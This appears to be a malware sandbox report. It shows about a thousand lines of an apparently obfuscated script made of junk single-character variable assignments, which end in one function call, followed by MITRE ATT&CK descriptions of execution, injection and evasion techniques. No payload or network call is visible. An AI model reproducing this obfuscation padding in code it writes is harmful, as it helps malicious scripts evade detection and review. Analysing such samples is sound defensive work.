501	nmnyggdzf = "b";
502	nmnyggdzf = "G";
503	nmnyggdzf = "k";
504	nmnyggdzf = "o";
505	nmnyggdzf = "F";
506	nmnyggdzf = "d";
507	nmnyggdzf = "V";
508	nmnyggdzf = "D";
509	nmnyggdzf = "p";
510	nmnyggdzf = "u";
511	nmnyggdzf = "C";
512	nmnyggdzf = "d";
513	nmnyggdzf = "M";
514	nmnyggdzf = "s";
515	nmnyggdzf = "I";
516	nmnyggdzf = "g";
517	nmnyggdzf = "d";
518	nmnyggdzf = "N";
519	nmnyggdzf = "Q";
520	nmnyggdzf = "F";
521	nmnyggdzf = "H";
522	nmnyggdzf = "A";
523	nmnyggdzf = "u";
524	nmnyggdzf = "S";
525	nmnyggdzf = "V";
526	nmnyggdzf = "C";
527	nmnyggdzf = "k";
528	nmnyggdzf = "q";
529	nmnyggdzf = "o";
530	nmnyggdzf = "a";
531	nmnyggdzf = "C";
532	opmlerd = "E";
533	opmlerd = "r";
534	opmlerd = "Y";
535	opmlerd = "G";
536	opmlerd = "p";
537	opmlerd = "u";
538	opmlerd = "N";
539	opmlerd = "W";
540	opmlerd = "I";
541	opmlerd = "B";
542	opmlerd = "C";
543	opmlerd = "z";
544	opmlerd = "k";
545	opmlerd = "q";
546	opmlerd = "o";
547	opmlerd = "M";
548	opmlerd = "o";
549	opmlerd = "r";
550	opmlerd = "j";
551	opmlerd = "W";
552	opmlerd = "o";
553	opmlerd = "z";
554	opmlerd = "c";
555	opmlerd = "y";
556	opmlerd = "O";
557	opmlerd = "G";
558	opmlerd = "z";
559	opmlerd = "G";
560	opmlerd = "D";
561	opmlerd = "w";
562	opmlerd = "L";
563	opmlerd = "j";
564	opmlerd = "v";
565	opmlerd = "k";
566	opmlerd = "u";
567	opmlerd = ".";
568	ofvbe = "j";
569	ofvbe = "J";
570	ofvbe = "Y";
571	ofvbe = "g";
572	ofvbe = "C";
573	ofvbe = "I";
574	ofvbe = "i";
575	ofvbe = "H";
576	ofvbe = "X";
577	ofvbe = "r";
578	ofvbe = "Z";
579	ofvbe = "U";
580	ofvbe = "m";
581	ofvbe = "W";
582	ofvbe = "W";
583	ofvbe = "E";
584	ofvbe = "h";
585	ofvbe = "C";
586	ofvbe = "Y";
587	ojctg = "q";
588	ojctg = "v";
589	ojctg = "n";
590	ojctg = "v";
591	ojctg = "i";
592	ojctg = "j";
593	ojctg = "m";
594	ojctg = "j";
595	ojctg = "G";
596	ojctg = "e";
597	ojctg = "A";
598	ojctg = ":";
599	mbwaao = "r";
600	mbwaao = "h";
601	mbwaao = "t";
602	mbwaao = "q";
603	mbwaao = "d";
604	mbwaao = "a";
605	mbwaao = "j";
606	mbwaao = "A";
607	mbwaao = "C";
608	mbwaao = "V";
609	mbwaao = "O";
610	mbwaao = "T";
611	mbwaao = "z";
612	mbwaao = "E";
613	mbwaao = "S";
614	mbwaao = "p";
615	mbwaao = "p";
616	mbwaao = "b";
617	mbwaao = "T";
618	mbwaao = "C";
619	mbwaao = "K";
620	mbwaao = "T";
621	mbwaao = "G";
622	mbwaao = "B";
623	mbwaao = "H";
624	mbwaao = "U";
625	mbwaao = "c";
626	mbwaao = "y";
627	mbwaao = "K";
628	mbwaao = "c";
629	mbwaao = "r";
630	mbwaao = "D";
631	mbwaao = "A";
632	mbwaao = "d";
633	mbwaao = "S";
634	mbwaao = "h";
635	mbwaao = "D";
636	mbwaao = "O";
637	mbwaao = "E";
638	mbwaao = "f";
639	mbwaao = "b";
640	mbwaao = "1";
641	tgisixr = "G";
642	tgisixr = "U";
643	tgisixr = "R";
644	tgisixr = "J";
645	tgisixr = "v";
646	urysfdjtl = "h";
647	urysfdjtl = "x";
648	urysfdjtl = "j";
649	urysfdjtl = "H";
650	urysfdjtl = "r";
651	urysfdjtl = "e";
652	urysfdjtl = "Z";
653	urysfdjtl = "W";
654	urysfdjtl = "S";
655	urysfdjtl = "l";
656	brnvrt = "G";
657	brnvrt = "u";
658	brnvrt = "m";
659	brnvrt = "E";
660	brnvrt = "l";
661	brnvrt = "z";
662	brnvrt = "X";
663	brnvrt = "A";
664	brnvrt = "K";
665	brnvrt = "W";
666	brnvrt = "c";
667	brnvrt = "I";
668	brnvrt = "r";
669	brnvrt = "B";
670	brnvrt = "R";
671	brnvrt = "e";
672	brnvrt = "n";
673	brnvrt = "T";
674	brnvrt = "J";
675	brnvrt = "n";
676	brnvrt = "D";
677	brnvrt = "h";
678	brnvrt = "L";
679	brnvrt = "A";
680	brnvrt = "p";
681	brnvrt = "I";
682	brnvrt = "L";
683	tiyaydx = "d";
684	tiyaydx = "u";
685	tiyaydx = "f";
686	tiyaydx = "H";
687	tiyaydx = "V";
688	tiyaydx = "Z";
689	tiyaydx = "d";
690	tiyaydx = "o";
691	tiyaydx = "o";
692	tiyaydx = "v";
693	tiyaydx = "D";
694	tiyaydx = "J";
695	tiyaydx = "k";
696	tiyaydx = "G";
697	tiyaydx = "r";
698	tiyaydx = "N";
699	tiyaydx = "s";
700	hcazyi = "u";
701	hcazyi = "s";
702	hcazyi = "H";
703	hcazyi = "l";
704	hcazyi = "j";
705	hcazyi = "k";
706	hcazyi = "M";
707	hcazyi = "G";
708	hcazyi = "R";
709	hcazyi = "j";
710	hcazyi = "E";
711	hcazyi = "x";
712	hcazyi = "C";
713	hcazyi = "t";
714	hcazyi = "N";
715	hcazyi = "U";
716	hcazyi = "M";
717	hcazyi = "Y";
718	hcazyi = "r";
719	hcazyi = "Y";
720	hcazyi = "m";
721	hcazyi = "n";
722	hcazyi = "w";
723	hcazyi = "A";
724	hcazyi = "U";
725	hcazyi = "r";
726	hcazyi = "f";
727	hcazyi = "c";
728	hcazyi = "w";
729	hcazyi = "V";
730	hcazyi = "e";
731	hcazyi = "X";
732	hcazyi = "G";
733	hcazyi = "i";
734	spepydc = "c";
735	spepydc = "u";
736	spepydc = "m";
737	spepydc = "E";
738	spepydc = "O";
739	spepydc = "C";
740	spepydc = "s";
741	spepydc = "C";
742	spepydc = "e";
743	spepydc = "Q";
744	spepydc = "p";
745	spepydc = "T";
746	spepydc = "j";
747	spepydc = "p";
748	spepydc = "s";
749	spepydc = "z";
750	spepydc = "R";
751	spepydc = "x";
752	spepydc = "O";
753	spepydc = "o";
754	spepydc = "x";
755	spepydc = "O";
756	spepydc = "D";
757	spepydc = "Z";
758	spepydc = "Y";
759	spepydc = "E";
760	spepydc = "O";
761	spepydc = "u";
762	spepydc = "b";
763	spepydc = "H";
764	spepydc = "H";
765	spepydc = "W";
766	mkepbl = "t";
767	mkepbl = "w";
768	mkepbl = "g";
769	mkepbl = "I";
770	mkepbl = "X";
771	mkepbl = "Y";
772	mkepbl = "z";
773	mkepbl = "U";
774	mkepbl = "K";
775	mkepbl = "Q";
776	mkepbl = "x";
777	mkepbl = "G";
778	mkepbl = "D";
779	mkepbl = "H";
780	mkepbl = "Y";
781	mkepbl = "B";
782	mkepbl = "A";
783	mkepbl = "A";
784	mkepbl = "w";
785	mkepbl = "V";
786	mkepbl = "c";
787	mkepbl = "o";
788	mkepbl = "I";
789	mkepbl = "b";
790	mkepbl = "y";
791	mkepbl = "y";
792	mkepbl = "a";
793	mkepbl = "h";
794	rkwfxc = "d";
795	rkwfxc = "e";
796	rkwfxc = "P";
797	rkwfxc = "f";
798	rkwfxc = "V";
799	rkwfxc = "o";
800	rkwfxc = "b";
801	rkwfxc = "E";
802	rkwfxc = "j";
803	rkwfxc = "q";
804	rkwfxc = "Y";
805	rkwfxc = "X";
806	rkwfxc = "t";
807	rkwfxc = "x";
808	rkwfxc = "K";
809	rkwfxc = "i";
810	rkwfxc = "w";
811	rkwfxc = "i";
812	rkwfxc = "k";
813	rkwfxc = "l";
814	rkwfxc = "f";
815	rkwfxc = "p";
816	rkwfxc = "f";
817	rkwfxc = "H";
818	rkwfxc = "l";
819	rkwfxc = "i";
820	rkwfxc = "B";
821	rkwfxc = "u";
822	rkwfxc = "S";
823	ffnzwlvuh = "I";
824	ffnzwlvuh = "K";
825	ffnzwlvuh = "B";
826	ffnzwlvuh = "u";
827	ffnzwlvuh = "G";
828	ffnzwlvuh = "V";
829	ffnzwlvuh = "p";
830	ffnzwlvuh = "k";
831	ffnzwlvuh = "s";
832	ffnzwlvuh = "X";
833	ffnzwlvuh = "w";
834	ffnzwlvuh = "V";
835	ffnzwlvuh = "N";
836	ffnzwlvuh = "p";
837	ffnzwlvuh = "v";
838	ffnzwlvuh = "x";
839	ffnzwlvuh = "t";
840	ffnzwlvuh = "R";
841	ffnzwlvuh = "w";
842	ffnzwlvuh = "s";
843	ffnzwlvuh = "Z";
844	ffnzwlvuh = "X";
845	ffnzwlvuh = "P";
846	ffnzwlvuh = "b";
847	ffnzwlvuh = "P";
848	ffnzwlvuh = "H";
849	ffnzwlvuh = "d";
850	ffnzwlvuh = "t";
851	ffnzwlvuh = "&";
852	fxlxaa = "n";
853	fxlxaa = "A";
854	fxlxaa = "L";
855	fxlxaa = "d";
856	fxlxaa = "x";
857	fxlxaa = "A";
858	fxlxaa = "P";
859	fxlxaa = "A";
860	fxlxaa = "G";
861	fxlxaa = "A";
862	fxlxaa = "K";
863	fxlxaa = "O";
864	fxlxaa = "o";
865	fxlxaa = "N";
866	fxlxaa = "m";
867	fxlxaa = "n";
868	fxlxaa = "h";
869	fxlxaa = "n";
870	fxlxaa = "e";
871	fxlxaa = "K";
872	fxlxaa = "w";
873	fxlxaa = "e";
874	fxlxaa = "V";
875	fxlxaa = "G";
876	fxlxaa = "K";
877	fxlxaa = "u";
878	fxlxaa = "X";
879	fxlxaa = "S";
880	fxlxaa = "X";
881	fxlxaa = "m";
882	fxlxaa = "N";
883	fxlxaa = "n";
884	fxlxaa = "k";
885	fxlxaa = "l";
886	fxlxaa = "r";
887	fxlxaa = "t";
888	fxlxaa = "T";
889	fxlxaa = "s";
890	fxlxaa = "y";
891	fxlxaa = "g";
892	fxlxaa = "C";
893	fxlxaa = "k";
894	cbgdjktdd = "f";
895	cbgdjktdd = "H";
896	cbgdjktdd = "l";
897	cbgdjktdd = "j";
898	cbgdjktdd = "q";
899	cbgdjktdd = "B";
900	cbgdjktdd = "H";
901	cbgdjktdd = "N";
902	cbgdjktdd = "t";
903	cbgdjktdd = "f";
904	cbgdjktdd = "R";
905	cbgdjktdd = "%";
906	quvbvh = "m";
907	quvbvh = "z";
908	quvbvh = "m";
909	quvbvh = "g";
910	quvbvh = "E";
911	quvbvh = "g";
912	quvbvh = "C";
913	quvbvh = "P";
914	quvbvh = "b";
915	quvbvh = "X";
916	quvbvh = "k";
917	quvbvh = "Y";
918	quvbvh = "y";
919	quvbvh = "r";
920	quvbvh = "P";
921	quvbvh = "m";
922	quvbvh = "y";
923	quvbvh = "r";
924	quvbvh = "5";
925	tmabzpacz = "w";
926	tmabzpacz = "K";
927	thmiyearg = "W";
928	thmiyearg = "K";
929	thmiyearg = "v";
930	thmiyearg = "h";
931	thmiyearg = "r";
932	thmiyearg = "p";
933	thmiyearg = "f";
934	thmiyearg = "F";
935	thmiyearg = "i";
936	thmiyearg = "m";
937	thmiyearg = "G";
938	thmiyearg = "a";
939	thmiyearg = "x";
940	thmiyearg = "r";
941	thmiyearg = "v";
942	thmiyearg = "e";
943	thmiyearg = "K";
944	thmiyearg = "M";
945	thmiyearg = "i";
946	thmiyearg = "d";
947	thmiyearg = "K";
948	thmiyearg = "a";
949	thmiyearg = "j";
950	thmiyearg = "z";
951	thmiyearg = "h";
952	thmiyearg = "X";
953	thmiyearg = "i";
954	thmiyearg = "w";
955	thmiyearg = "y";
956	thmiyearg = "m";
957	thmiyearg = "b";
958	thmiyearg = "k";
959	thmiyearg = "G";
960	thmiyearg = "T";
961	thmiyearg = "U";
962	fkaywmtm = "l";
963	fkaywmtm = "A";
964	fkaywmtm = "H";
965	fkaywmtm = "R";
966	fkaywmtm = "k";
967	fkaywmtm = "n";
968	fkaywmtm = "H";
969	fkaywmtm = "m";
970	fkaywmtm = "L";
971	fkaywmtm = "r";
972	fkaywmtm = "J";
973	fkaywmtm = "L";
974	fkaywmtm = "y";
975	fkaywmtm = "z";
976	fkaywmtm = "y";
977	fkaywmtm = "D";
978	fkaywmtm = "e";
979	fkaywmtm = "T";
980	fkaywmtm = "L";
981	fkaywmtm = "u";
982	fkaywmtm = "i";
983	fkaywmtm = "l";
984	fkaywmtm = "i";
985	fkaywmtm = "n";
986	fkaywmtm = "f";
987	fkaywmtm = "G";
988	fkaywmtm = "B";
989	fkaywmtm = "k";
990	fkaywmtm = "g";
991	gahsmnd = "d";
992	gahsmnd = "g";
993	gahsmnd = "t";
994	gahsmnd = "a";
995	gahsmnd = "u";
996	gahsmnd = "k";
997	gahsmnd = "l";
998	gahsmnd = "E";
999	gahsmnd = "a";
1000	gahsmnd = "e";
1001	gahsmnd = "M";
1002	gahsmnd = "b";
1003	gahsmnd = "c";
1004	gahsmnd = "l";
1005	gahsmnd = "Y";
1006	gahsmnd = "K";
1007	gahsmnd = "I";
1008	gahsmnd = "b";
1009	gahsmnd = "o";
1010	gahsmnd = "B";
1011	gahsmnd = "T";
1012	gahsmnd = "K";
1013	gahsmnd = "V";
1014	gahsmnd = "u";
1015	gahsmnd = "q";
1016	gahsmnd = "r";
1017	gahsmnd = "V";
1018	gahsmnd = "f";
1019	gahsmnd = "F";
1020	gahsmnd = "Z";
1021	gahsmnd = "I";
1022	nolfurb = "G";
1023	nolfurb = "i";
1024	nolfurb = "y";
1025	nolfurb = "K";
1026	nolfurb = "B";
1027	nolfurb = "e";
1028	nolfurb = "r";
1029	nolfurb = "Y";
1030	nolfurb = "W";
1031	nolfurb = "c";
1032	nolfurb = "g";
1033	nolfurb = "C";
1034	nolfurb = "j";
1035	nolfurb = "s";
1036	nolfurb = "t";
1037	nolfurb = "k";
1038	nolfurb = "B";
1039	nolfurb = "A";
1040	nolfurb = "P";
1041	nolfurb = "N";
1042	nolfurb = "h";
1043	nolfurb = "r";
1044	nolfurb = "E";
1045	nolfurb = "t";
1046	nolfurb = "i";
1047	nolfurb = "i";
1048	nolfurb = "x";
1049	nolfurb = "U";
1050	nolfurb = "u";
1051	nolfurb = "t";
1052	dmbbb = "k";
1053	dmbbb = "F";
1054	dmbbb = "L";
1055	dmbbb = "D";
1056	dmbbb = "B";
1057	dmbbb = "P";
1058	dmbbb = "m";
1059	dmbbb = "A";
1060	dmbbb = "M";
1061	dmbbb = "A";
1062	dmbbb = "x";
1063	dmbbb = "H";
1064	cghkqso = "u";
1065	cghkqso = "E";
1066	cghkqso = "k";
1067	cghkqso = "n";
1068	cghkqso = "g";
1069	cghkqso = "v";
1070	cghkqso = "b";
1071	cghkqso = "M";
1072	cghkqso = "M";
1073	cghkqso = "C";
1074	cghkqso = "C";
1075	cghkqso = "j";
1076	cghkqso = "M";
1077	cghkqso = "g";
1078	cghkqso = "g";
1079	cghkqso = "R";
1080	cghkqso = "i";
1081	cghkqso = "s";
1082	cghkqso = "M";
1083	cghkqso = "e";
1084	cghkqso = "S";
1085	cghkqso = "Z";
1086	cghkqso = "C";
1087	cghkqso = "I";
1088	cghkqso = "q";
1089	cghkqso = "A";
1090	cghkqso = "B";
1091	cghkqso = "T";
1092	cghkqso = "P";
1093	cghkqso = "e";
1094	cghkqso = "o";
1095	cghkqso = "p";
1096	cghkqso = "y";
1097	cghkqso = "R";
1098	cghkqso = "E";
1099	cghkqso = "W";
1100	cghkqso = "l";
1101	cghkqso = "W";
1102	cghkqso = "B";
1103	cghkqso = "t";
1104	cghkqso = "F";
1105	cghkqso = "w";
1106	cghkqso = "t";
1107	cghkqso = "N";
1108	dpmhx = "a";
1109	dpmhx = "T";
1110	dpmhx = "E";
1111	dpmhx = "O";
1112	dpmhx = "h";
1113	dpmhx = "y";
1114	dpmhx = "z";
1115	dpmhx = "J";
1116	dpmhx = "s";
1117	dpmhx = "P";
1118	yowqpo = "X";
1119	yowqpo = "Z";
1120	yowqpo = "Q";
1121	yowqpo = "q";
1122	yowqpo = "J";
1123	yowqpo = "N";
1124	yowqpo = "D";
1125	yowqpo = "O";
1126	yowqpo = "s";
1127	yowqpo = "v";
1128	yowqpo = "O";
1129	yowqpo = "e";
1130	yowqpo = "i";
1131	yowqpo = "u";
1132	yowqpo = "U";
1133	yowqpo = "m";
1134	yowqpo = "L";
1135	yowqpo = "G";
1136	yowqpo = "l";
1137	yowqpo = "w";
1138	yowqpo = "v";
1139	yowqpo = "D";
1140	yowqpo = "d";
1141	yowqpo = "n";
1142	yowqpo = "y";
1143	yowqpo = "r";
1144	yowqpo = "u";
1145	yowqpo = "c";
1146	yowqpo = "n";
1147	kcgcbj = "U";
1148	kcgcbj = "Z";
1149	kcgcbj = "d";
1150	kcgcbj = "I";
1151	kcgcbj = "m";
1152	kcgcbj = "T";
1153	kcgcbj = "S";
1154	kcgcbj = "n";
1155	kcgcbj = "T";
1156	kcgcbj = "y";
1157	kcgcbj = "C";
1158	kcgcbj = "W";
1159	kcgcbj = "v";
1160	kcgcbj = "C";
1161	kcgcbj = "m";
1162	kcgcbj = "b";
1163	kcgcbj = "U";
1164	kcgcbj = "m";
1165	yyfdg = "w";
1166	yyfdg = "A";
1167	yyfdg = "u";
1168	yyfdg = "P";
1169	yyfdg = "P";
1170	yyfdg = "m";
1171	yyfdg = "Y";
1172	yyfdg = "Y";
1173	yyfdg = "F";
1174	yyfdg = "D";
1175	yyfdg = "L";
1176	yyfdg = "h";
1177	yyfdg = "E";
1178	yyfdg = "r";
1179	yyfdg = "J";
1180	yyfdg = "r";
1181	yyfdg = "V";
1182	yyfdg = "h";
1183	yyfdg = "q";
1184	yyfdg = "t";
1185	yyfdg = "u";
1186	yyfdg = "a";
1187	yyfdg = "S";
1188	yyfdg = "q";
1189	yyfdg = "k";
1190	yyfdg = "o";
1191	uhrtyrz = "f";
1192	uhrtyrz = "N";
1193	uhrtyrz = "E";
1194	uhrtyrz = "W";
1195	uhrtyrz = "d";
1196	uhrtyrz = "C";
1197	uhrtyrz = "R";
1198	uhrtyrz = "B";
1199	uhrtyrz = "J";
1200	uhrtyrz = "J";
1201	uhrtyrz = "W";
1202	uhrtyrz = "L";
1203	uhrtyrz = "Y";
1204	uhrtyrz = "Q";
1205	uhrtyrz = "c";
1206	uhrtyrz = "p";
1207	uhrtyrz = "r";
1208	uhrtyrz = "j";
1209	uhrtyrz = "S";
1210	uhrtyrz = "u";
1211	uhrtyrz = "O";
1212	uhrtyrz = "x";
1213	uhrtyrz = "h";
1214	uhrtyrz = "w";
1215	uhrtyrz = "V";
1216	uhrtyrz = "b";
1217	uhrtyrz = "n";
1218	uhrtyrz = "J";
1219	uhrtyrz = "O";
1220	uhrtyrz = "f";
1221	uhrtyrz = "o";
1222	uhrtyrz = "V";
1223	uhrtyrz = "m";
1224	uhrtyrz = "u";
1225	uhrtyrz = "l";
1226	uhrtyrz = "e";
1227	uhrtyrz = "c";
1228	uhrtyrz = "N";
1229	uhrtyrz = "G";
1230	uhrtyrz = "U";
1231	uhrtyrz = "I";
1232	uhrtyrz = "e";
1233	rgsni = "u";
1234	rgsni = "D";
1235	rgsni = "N";
1236	rgsni = "e";
1237	rgsni = "j";
1238	rgsni = "b";
1239	rgsni = "V";
1240	rgsni = "S";
1241	rgsni = "B";
1242	rgsni = "D";
1243	rgsni = "f";
1244	rgsni = "H";
1245	rgsni = "H";
1246	rgsni = "O";
1247	rgsni = "B";
1248	rgsni = "u";
1249	rgsni = "b";
1250	rgsni = "R";
1251	rgsni = "m";
1252	rgsni = "X";
1253	rgsni = "R";
1254	rgsni = "k";
1255	rgsni = "T";
1256	rgsni = "A";
1257	rgsni = "L";
1258	rgsni = "i";
1259	rgsni = "z";
1260	rgsni = "C";
1261	rgsni = "v";
1262	rgsni = "l";
1263	rgsni = "W";
1264	rgsni = "K";
1265	rgsni = "I";
1266	rgsni = "W";
1267	rgsni = "e";
1268	rgsni = "A";
1269	rgsni = "q";
1270	rgsni = "y";
1271	rgsni = "z";
1272	rgsni = "L";
1273	rgsni = "I";
1274	rgsni = "v";
1275	rgsni = "z";
1276	rgsni = "X";
1277	rgsni = "T";
1278	vzbmpi = "u";
1279	vzbmpi = "v";
1280	vzbmpi = "-";
1281	qcnuiik = "R";
1282	qcnuiik = "k";
1283	qcnuiik = "a";
1284	jedrm = "B";
1285	jedrm = "c";
1286	jedrm = "h";
1287	jedrm = "K";
1288	jedrm = "q";
1289	jedrm = "M";
1290	jedrm = "F";
1291	jedrm = "n";
1292	jedrm = "A";
1293	jedrm = "b";
1294	jedrm = "i";
1295	jedrm = "S";
1296	jedrm = "X";
1297	jedrm = "u";
1298	jedrm = "C";
1299	jedrm = "c";
1300	jedrm = "z";
1301	jedrm = "N";
1302	jedrm = "X";
1303	jedrm = "t";
1304	jedrm = "z";
1305	jedrm = "i";
1306	jedrm = "Q";
1307	jedrm = "g";
1308	jedrm = "c";
1309	jedrm = "s";
1310	jedrm = "e";
1311	jedrm = "E";
1312	jedrm = "d";
1313	jedrm = "V";
1314	jedrm = "C";
1315	jedrm = "s";
1316	jedrm = "s";
1317	jedrm = "p";
1318	jedrm = "R";
1319	nrcmxkg = "F";
1320	nrcmxkg = "r";
1321	nrcmxkg = "j";
1322	nrcmxkg = "J";
1323	nrcmxkg = "V";
1324	nrcmxkg = "E";
1325	nrcmxkg = "I";
1326	nrcmxkg = "q";
1327	nrcmxkg = "Q";
1328	nrcmxkg = "j";
1329	nrcmxkg = "i";
1330	nrcmxkg = "E";
1331	nrcmxkg = "s";
1332	nrcmxkg = "R";
1333	nrcmxkg = "g";
1334	nrcmxkg = "U";
1335	nrcmxkg = "K";
1336	nrcmxkg = "Z";
1337	nrcmxkg = "k";
1338	nrcmxkg = "C";
1339	nrcmxkg = "m";
1340	nrcmxkg = "z";
1341	nrcmxkg = "H";
1342	nrcmxkg = "z";
1343	nrcmxkg = "Q";
1344	jillo = "M";
1345	jillo = "w";
1346	jillo = "y";
1347	jillo = "s";
1348	jillo = "e";
1349	jillo = "p";
1350	jillo = "n";
1351	jillo = "D";
1352	jillo = "K";
1353	jillo = "f";
1354	jillo = "C";
1355	jillo = "b";
1356	jillo = "J";
1357	jillo = "w";
1358	jillo = "s";
1359	jillo = "n";
1360	jillo = "i";
1361	jillo = "t";
1362	jillo = "P";
1363	jillo = "E";
1364	jillo = "E";
1365	jillo = "o";
1366	jillo = "t";
1367	jillo = "S";
1368	jillo = "N";
1369	jillo = "V";
1370	jillo = "p";
1371	jillo = "D";
1372	jillo = "s";
1373	jillo = "F";
1374	jillo = "J";
1375	jillo = "p";
1376	jillo = "N";
1377	jillo = "U";
1378	jillo = "M";
1379	jillo = "T";
1380	jillo = "v";
1381	jillo = "W";
1382	jillo = "X";
1383	jillo = "8";
1384	ftudsqxbv = "y";
1385	ftudsqxbv = "c";
1386	ftudsqxbv = "X";
1387	ftudsqxbv = "T";
1388	ftudsqxbv = "l";
1389	ftudsqxbv = "w";
1390	ftudsqxbv = "C";
1391	ftudsqxbv = "y";
1392	ftudsqxbv = "F";
1393	ftudsqxbv = "W";
1394	ftudsqxbv = "P";
1395	ftudsqxbv = "H";
1396	ftudsqxbv = "i";
1397	ftudsqxbv = "g";
1398	ftudsqxbv = "L";
1399	ftudsqxbv = "U";
1400	ftudsqxbv = "x";
1401	ftudsqxbv = "V";
1402	ftudsqxbv = "A";
1403	ftudsqxbv = "d";
1404	ftudsqxbv = "w";
1405	ftudsqxbv = "M";
1406	ftudsqxbv = "q";
1407	ftudsqxbv = "r";
1408	ftudsqxbv = "E";
1409	ftudsqxbv = "I";
1410	ftudsqxbv = "Z";
1411	ftudsqxbv = "O";
1412	ftudsqxbv = "g";
1413	ftudsqxbv = "o";
1414	ftudsqxbv = "k";
1415	ftudsqxbv = "S";
1416	ftudsqxbv = "@";
1417	kcbewbt = "g";
1418	kcbewbt = "R";
1419	kcbewbt = "t";
1420	kcbewbt = "I";
1421	kcbewbt = "x";
1422	kcbewbt = "x";
1423	kcbewbt = "c";
1424	kcbewbt = "G";
1425	kcbewbt = "c";
1426	kcbewbt = "x";
1427	kcbewbt = "F";
1428	kcbewbt = "k";
1429	kcbewbt = "v";
1430	kcbewbt = "t";
1431	kcbewbt = "U";
1432	kcbewbt = "U";
1433	kcbewbt = "R";
1434	kcbewbt = "L";
1435	kcbewbt = "n";
1436	kcbewbt = "l";
1437	kcbewbt = "D";
1438	kcbewbt = "q";
1439	kcbewbt = "k";
1440	kcbewbt = "t";
1441	kcbewbt = "F";
1442	kcbewbt = "B";
1443	kcbewbt = "K";
1444	kcbewbt = "E";
1445	kcbewbt = "s";
1446	kcbewbt = "Y";
1447	kcbewbt = "Q";
1448	kcbewbt = "q";
1449	kcbewbt = "n";
1450	kcbewbt = "F";
1451	kcbewbt = "m";
1452	kcbewbt = "S";
1453	kcbewbt = "s";
1454	kcbewbt = "w";
1455	yolvom = "x";
1456	yolvom = "i";
1457	yolvom = "V";
1458	yolvom = "L";
1459	yolvom = "O";
1460	yolvom = "z";
1461	yolvom = "F";
1462	yolvom = "S";
1463	yolvom = "D";
1464	yolvom = "Q";
1465	yolvom = "L";
1466	yolvom = "X";
1467	yolvom = "T";
1468	yolvom = "n";
1469	yolvom = "v";
1470	yolvom = "9";
1471	pijfqj = "d";
1472	pijfqj = "w";
1473	pijfqj = "c";
1474	pijfqj = "a";
1475	pijfqj = "V";
1476	pijfqj = "A";
1477	pijfqj = "N";
1478	pijfqj = "n";
1479	pijfqj = "O";
1480	pijfqj = "g";
1481	pijfqj = "q";
1482	pijfqj = "n";
1483	pijfqj = "R";
1484	pijfqj = "d";
1485	pijfqj = "X";
1486	pijfqj = "a";
1487	pijfqj = "E";
1488	pijfqj = "V";
1489	pijfqj = "k";
1490	pijfqj = "W";
1491	pijfqj = "e";
1492	pijfqj = "x";
1493	pijfqj = "o";
1494	pijfqj = "f";
1495	pijfqj = "I";
1496	pijfqj = "q";
1497	pijfqj = "w";
1498	pijfqj = "i";
1499	pijfqj = "e";
1500	pijfqj = "K";
1501	pijfqj = "p";
1502	pijfqj = "G";
1503	pijfqj = "z";
1504	pijfqj = "j";
1505	pijfqj = "T";
1506	pijfqj = "z";
1507	pijfqj = "B";
1508	pijfqj = "R";
1509	pijfqj = "o";
1510	pijfqj = "p";
1511	pijfqj = "M";
1512	pijfqj = "b";
1513	laufatbg = "V";
1514	laufatbg = "F";
1515	feutcsoep ( );	feutcsoep() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
